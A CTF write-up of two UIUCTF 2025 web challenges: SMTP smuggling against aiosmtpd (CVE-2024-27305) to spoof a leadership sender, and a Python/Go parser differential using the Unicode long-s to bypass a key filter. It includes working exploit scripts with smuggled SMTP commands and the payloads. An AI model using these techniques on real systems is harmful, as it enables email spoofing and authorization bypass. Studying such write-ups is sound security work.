This writeup is about the middle two out of four UIUCTF 2025 web challenges that exploited vulnerabilities in protocol handling and parser implementations.
Challenge 2: Supermassive Black Hole
Black Hole Ticketing Services provided a ticket submission system with an internal SMTP server for processing requests. The goal was to escalate our privilege to receive responses meant for leadership.
Application Architecture
- Web Server (
web_server.py
) - Handles ticket submissions via HTTP - SMTP Server (
smtp_server.py
) - Processes emails internally using aiosmtpd
@app.route('/submit_ticket', methods=['POST'])
def submit_ticket():
subject = request.form.get('subject', '')
message = request.form.get('message', '')
ticket_id = str(uuid.uuid4())
# Custom SMTP handling with disabled protections
original_fix_eols = smtplib._fix_eols
original_quote_periods = smtplib._quote_periods
original_data = smtplib.SMTP.data
try:
smtplib._fix_eols = return_unchanged
smtplib._quote_periods = return_unchanged
smtplib.SMTP.data = new_data
message_data = f"""\
From: support@blackholeticketing.com\r\n\
To: it@blackholeticketing.com\r\n\
Subject: {subject}\r\n\
X-Ticket-ID: {ticket_id}\r\n\
\r\n\
{message}\r\n\
.\r\n""".encode()
ending_count = message_data.count(b'\r\n.\r\n')
if ending_count != 1:
raise ValueError("Bad Request")
with smtplib.SMTP('localhost', 1025) as client:
client.sendmail('support@blackholeticketing.com', ['it@blackholeticketing.com'], message_data)
The SMTP server processes messages based on the From header:
class ITBotHandler(AsyncMessage):
async def handle_message(self, message):
from_header = message.get('From', 'Unknown')
if internal.leadership_email in from_header.lower():
response = "C-Suite ticket received! Will escalate immediately!" + f"\n{internal.flag}"
elif internal.support_email in from_header.lower():
response = "Request for support received! Will resolve after lunch break."
else:
response = "Please use our support portal to submit a ticket."
Vulnerability Analysis
The application uses aiosmtpd==1.4.4
, which is vulnerable to CVE-2024-27305 - an SMTP smuggling vulnerability. The key issues are:
- Disabled SMTP Protections: The web server disables
_fix_eols
and_quote_periods
functions - Custom Data Handler: Uses a custom
new_data
function that doesn’t properly validate SMTP command boundaries - Vulnerable aiosmtpd Version: The SMTP server doesn’t properly handle smuggled commands
SMTP Smuggling Attack
SMTP smuggling exploits the fact that SMTP is a text-based protocol where commands are separated by CRLF sequences. By injecting SMTP commands into the message body, we can trick the server into processing multiple emails.
The attack works by:
- Starting with legitimate message content (
Abc123
) - Adding a message terminator (
\n\n.\r\n
) - Injecting new SMTP commands to send a second email
- Setting the From header to
leadership@blackholeticketing.com
- Using a controlled ticket ID for retrieval
Server Interaction Analysis
Here’s what happens at the protocol level when we send our malicious payload:
Normal SMTP conversation:
> HELO example.com
< 250 Hello example.com
> MAIL FROM: <support@blackholeticketing.com>
< 250 OK
> RCPT TO: <it@blackholeticketing.com>
< 250 OK
> DATA
< 354 End data with <CR><LF>.<CR><LF>
> From: support@blackholeticketing.com
> To: it@blackholeticketing.com
> Subject: Test
> X-Ticket-ID: <uuid>
>
> Abc123
>
> .
< 250 Message accepted for delivery
Our smuggled SMTP conversation:
> HELO example.com
< 250 Hello example.com
> MAIL FROM: <support@blackholeticketing.com>
< 250 OK
> RCPT TO: <it@blackholeticketing.com>
< 250 OK
> DATA
< 354 End data with <CR><LF>.<CR><LF>
> From: support@blackholeticketing.com
> To: it@blackholeticketing.com
> Subject: Test
> X-Ticket-ID: <uuid>
>
> Abc123
>
> .
< 250 Message accepted for delivery
> MAIL FROM: <support@blackholeticketing.com>
< 250 OK
> RCPT TO: <it@blackholeticketing.com>
< 250 OK
> DATA
< 354 End data with <CR><LF>.<CR><LF>
> From: leadership@blackholeticketing.com
> To: it@blackholeticketing.com
> Subject: a1
> X-Ticket-ID: 22970371-64b2-484f-be43-d46c21093943
>
> Def456
> .
< 250 Message accepted for delivery
The key insight is that the aiosmtpd server interprets our injected SMTP commands as a new email transaction, allowing us to send a second email that appears to come from leadership.
Exploitation
import requests
import time
response = requests.post(
"https://inst-b40162b9c65e1e9e-supermassive-black-hole.chal.uiuc.tf/submit_ticket",
data={
'subject': 'Test',
'message': "Abc123\n\n.\r\nMAIL FROM: <support@blackholeticketing.com>\r\nRCPT TO: <it@blackholeticketing.com>\r\nDATA\r\nFrom: leadership@blackholeticketing.com\r\nTo: it@blackholeticketing.com\r\nSubject: a1\r\nX-Ticket-ID: 22970371-64b2-484f-be43-d46c21093943\r\n\r\nDef456"
}
)
time.sleep(2)
print(requests.get(
"https://inst-b40162b9c65e1e9e-supermassive-black-hole.chal.uiuc.tf/check_response/22970371-64b2-484f-be43-d46c21093943"
))
Flag: uiuctf{7h15_c0uld_h4v3_b33n_4_5l4ck_m355463_8091732490}
Challenge 3: Shipping Bay
This challenge involved a Flask application with a Go backend service for processing shipments. The application validates input differently in Python versus Go, creating a parser differential vulnerability.
Application Architecture
The Flask frontend processes shipment requests:
@app.route('/create_shipment', methods=['POST'])
def create_shipment():
shipment_data = {k.lower(): v for k, v in request.form.items()}
if shipment_data['supply_type'] == "flag":
return "Error: Invalid supply type", 400
shipment_status = subprocess.check_output(["/home/user/processing_service", json.dumps(shipment_data)]).decode().strip()
return redirect(url_for('index', status=shipment_status))
The protection mechanism:
- Converts all form keys to lowercase using
k.lower()
- Blocks requests where
supply_type
equals"flag"
- Passes data to Go backend for processing
Vulnerability Analysis
The issue lies in Unicode normalization differences between Python and Go parsers. While the JSON RFC specifies that keys are case-sensitive, many parsers normalize or fold Unicode characters differently.
The vulnerability exploits the fact that:
- Python’s
k.lower()
handles Unicode normalization one way - Go’s JSON parser may interpret certain Unicode characters differently
- Some Unicode characters can appear visually similar but have different codepoints
Unicode Character Exploitation
The solution involves using Unicode character U+017F
(ſ - Latin Small Letter Long S). This character:
- Visually resembles the letter ‘s’
- Has a different Unicode codepoint than regular ‘s’
- Is handled differently by Python and Go parsers
Server Processing Flow
What Python sees:
Request: supply_type=a&ſupply_type=flag
After k.lower(): {'supply_type': 'a', 'ſupply_type': 'flag'}
Validation: shipment_data['supply_type'] == "flag" → False (it's 'a')
✓ Validation passes
What gets sent to Go:
{"supply_type": "a", "ſupply_type": "flag"}
And the go parser internally overrides the dictionary that’s parsed to with the last value it sees for the (normalized) key supply_type.
Exploitation
import requests
import urllib.parse
response = requests.post(
"https://shipping-bay.chal.uiuc.tf/create_shipment",
data="supply_type=a&ſupply_type=flag",
headers={"Content-Type": "application/x-www-form-urlencoded"}
)
parsed_url = urllib.parse.urlparse(response.url)
query_params = urllib.parse.parse_qs(parsed_url.query)
flag = urllib.parse.unquote(query_params['status'][0])
Flag: uiuctf{maybe_we_should_check_schemas_8e229f}